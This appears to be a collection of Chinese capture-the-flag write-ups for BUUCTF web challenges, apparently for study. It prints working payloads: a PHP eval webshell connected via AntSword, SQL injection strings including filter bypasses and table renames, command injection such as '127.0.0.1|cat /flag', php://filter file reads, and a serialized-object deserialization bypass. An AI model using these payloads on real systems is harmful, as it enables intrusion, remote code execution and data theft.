创建一个木马文件

可绕过的后缀名检测:php,php3,php4,php5,phtml.pht

image

上传该文件,显示Not image!

image

image

抓包,修改Content-Type的内容为 image/jpeg,send,查看文件名后缀应为.phtml

image

使用蚁剑

URL地址为:/upload/a.phtml

连接密码为:a

测试连接,连接成功后添加

image

image

右键单击,文件管理,查看根目录,找到flag

image

双击查看flag

image

1
flag{34c3fd89-3b0b-450b-9953-287122b67247}

14、Upload

上传一句话木马<?php eval($_POST[a]);?>,修改后缀名为.jpg

image

抓包,显示上传成功

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/394659692a460258b45a99f1424ea357.jpg

连接密码为:a

尝试一下,测试连接显示返回数据为空

image

尝试修改后缀名为.phtml

image

使用蚁剑连接,URL地址为:http://458e3dd3-d7c3-41c5-b4cd-06727f565048.node4.buuoj.cn:81/./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

连接密码为:a

测试连接,连接成功 后添加

image

image

右键单击,文件管理

在根目录中找到flag

image

双击查看flag

image

1
flag{8337ba06-02fe-47b4-8563-e341d08b19fe}

15、BabySQL

常规注入:/check.php?username=admin&password=1' union select 1#

image

根据报错信息,猜测union 、select可能被过滤了,试一下双写绕过
/check.php?username=admin&password=1' ununionion seselectlect 1#

image

URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23,登录成功

image

爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23,猜测flag在ctf里

image

爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23

image

查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23

image

/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23

得到flag

image

1
flag{009a3737-39ae-44ff-8bfb-45287b1e2093}

16、PHP

题目提示了备份网站

image

使用目录扫描工具 dirsearch

目录扫描工具 dirsearch 使用详解 - FreeK0x00 - 博客园 (cnblogs.com)

可以直接到github上下载压缩包,解压后,进入目录运行cmd

首先安装dirsearch:python setup.py install

如果报错,可能是因为pip版本太低,更新pip:python -m pip install --upgrade pip

运行,开始扫描:py -3.9 dirsearch.py -u http://15349308-86d1-4f57-8e2c-50b34e5d48eb.node4.buuoj.cn:81/ -e php

响应成功的如下图所示

image

image

访问www.zip文件,下载了一个压缩包

image

解压得到一系列文件

image

查看index.php文件,发现包含class.php文件,采用get传参select,还有个php反序列化函数unserialize()

所以页面可以传进一个参数select然后把它反序列化,反序列化的过程中会用到class.php

image

查看class.php文件,有输出flag的条件

要调用到__destruct()并且password=100,username=admin才能echo $flag

image

魔法函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
在反序列化脚本结束时会自动调用它,它是unserialize()结束的魔术方法(魔法函数)

魔法函数
通常来说有一些PHP的魔法函数会导致反序列化漏洞,如:
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用。
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据//调用私有属性时使用
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

构造序列化,php代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name(@admin,100);
//var_dump($a);
//echo "<br>";
$b = serialize($a);
echo $b."<br>";//输出序列化
echo urlencode($b);//输出url编码后的序列化
?>

序列化后是这样的:

image

调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name后面的2改为3或以上即可

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后url识别不了”,改为%22

1
O:4:%22Name%22:3:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

因为成员(属性)是private,所以要在类名和成员名前加%00这个url编码是空的意思。因为生产序列化时不会把这个空也输出。

1
O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

完整payload:

1
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

得到flag

image

1
flag{1e6c9083-a44b-4c83-9a9c-f865d6230e68}

Buuctf Web(9-12)

Buuctf Web(9-12)

9、Secret File

查看源代码,有一个Archive_room.php文件

image

查看该文件,有一个按钮

image

点击按钮,没看到flag

image

从按钮处抓包,看到有一个secr3t.php文件

image

查看该文件,flag在flag.php里

image

查看该文件,还是没看到flag

image

想到了PHP的封装协议,利用了filter伪协议,该协议刚好就能够查看文件包含的漏洞,所以当我们利用该协议查看flag.php时,会将它的源代码爆出来,但是因为base64的加密原因,所以我们还需要进行一次base64解密

构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

image

看到一串base64编码,解码后得到flag

image

1
flag{657993f7-ec4c-4ccd-a411-1fbca834a5b5}

10、LoveSQL

尝试万能密码

image

有显示

image

尝试联合查询,查到3的时候回显正常

image

爆数据库password=:1' union select 1,2,database()#

image

爆出数据库名为geek

image

爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#

image

爆出表名为geekuser

image

爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#

image

爆出表名为l0ve1ysq1

image

爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #

image

id,username,password

image

爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23

image

查看源代码,得到flag

image

1
flag{7904eee7-45b3-4f8b-8eac-ecab975dac71}

11、Http

查看页面源代码,发现有个Secret.php文件

image

查看该文件,有一个网址

image

提示:It doesn’t come from ‘https://www.Sycsecret.com’,就是说这个页面得来自https://www.Sycsecret.com,添加referer即可

1
Referer头用于告诉web服务器,用户是从哪个页面找过来的

添加Referer:https://www.Sycsecret.com,send,提示Please use “Syclover” browser:请使用“Syclover”浏览器

image

1
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息

添加User-Agent:Syclover,send,提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!

image

添加X-Forwarded-For:127.0.0.1,send,得到flag

image

1
flag{43a4b431-f334-44b4-bcb3-aadf626871ac}

12、Knife

使用蚁剑,安装教程渗透工具:蚁剑教学 (安装+入门) - 知乎 (zhihu.com)

构造payload:/?<?php eval($_POST["Syc"]);?>

打开蚁剑添加数据

URL地址为:http://1c5dc4d2-1605-4b89-99ba-90068b6d2182.node4.buuoj.cn:81/index.php

密码为:Syc

image

测试连接,连接成功,再点击添加

image

右键单击,选择文件管理

image

查看根目录,发现有个flag

image

双击查看,得到flag

image

1
flag{1248bbb7-c099-4589-a699-63d87c2ec2d3}

Buuctf Web(1-8)

Buuctf Web(1-8)

1、EasySQL

万能密码

1’or’1’=’1

sql语句中#是注释符

select * from table_name where username=’1’ or 1=1 # ‘ and password=’xxxxxx’ ;

相当于

select * from table_name where username=’1’ or 1=1

image

image

1
flag{46247fc5-8cd1-4f68-9601-63d1ccd4d7dc}

2、Havefun

查看源码,看到一串被注释的php代码

image

有一个cat变量,通过get方式传参,如果cat=dog,输出flag

构造payload:/?cat=dog

image

1
flag{d6a6ed35-29e7-41db-9a46-170dcb0f9128}

3、WarmUp

查看源码,发现一个注释掉的source.php文件

image

访问php文件

image

文件中有一个hint.php

image

查看该文件

image

image

image

image

1
flag{65f5d7a9-2b2d-49b0-accf-52264323d465}

4、Include

查看页面源代码,发现有个flag.php文件

image

image

查看页面源代码发现啥也看不见,猜测包含文件漏洞

1
2
3
4
5
6
7
8
9
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag

payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码

image

解码得到flag

image

1
flag{9c483c1a-9c62-41d3-abd8-51e64d50357f}

5、Exec

Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上

首先查看此文件的目录:127.0.0.1|ls

点击ping后发现有个index.php文件

image

再查看上级目录:127.0.0.1|ls /

点击ping后可以看到一个flag

image

查看flag:127.0.0.1|cat /flag

得到flag

image

1
flag{4504f6f2-191b-410b-b40d-18b4e403a271}

6、Ping Ping Ping

这一题与上一题Exec类似,首先访问本地地址,发现有显示

image

查看此文件的目录,发现有两个文件

image

查看flag.php文件

image

它说空格被过滤了

命令中空格被过滤的解决方法:

1
2
3
4
5
6
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格)

发现符号又被过滤了,说明{}大括号被过滤了

image

用另一个方法试下index.php文件

image

有一个参数a,变量拼接字符串——将a的值覆盖,然后进行绕过

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

用变量拼接成flag

image

啥也没有,查看源代码,得到flag

image

1
flag{97aede41-9723-4901-8ac2-b345d66af44b}

7、随便注

image

image

查询3时没有显示,说明有两个字段

爆数据库:1’;show databases;#

image

爆表名:1’; show tables;#

出来了两个表

image

查看words表列名:1’; show columns from words;#

image

查看1919810931114514表列名:0’; show columns from 1919810931114514;#

注意:表名为数字时,要用反引号包起来查询

看到flag,说明表1919810931114514中有flag

image

查看大佬的方法

  • 通过 rename 先把 words 表改名为其他的表名。

  • 把 1919810931114514 表的名字改为 words 。

  • 给新 words 表添加新的列名 id 。

  • 将 flag 改名为 data

    1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

    image

最后输入:1’ or 1=1;#

得到flag

image

1
flag{aa75e48d-8389-408e-9c8c-9d30c81c432b}

8、EasySQL

输入1,有显示

image

爆数据库:1;show databases;#

image

爆表:1;show tables;#

image

爆字段:1;show columns from FLAG;#

显示Nonono

image

查看大佬博客后,构造payload:*,1

参考博客([BUUCTF-SUCTF 2019]EasySQL1__Monica_的博客-CSDN博客

得到flag

image

1
flag{7c0c6069-c1fe-4314-b793-9a214f11fdb3}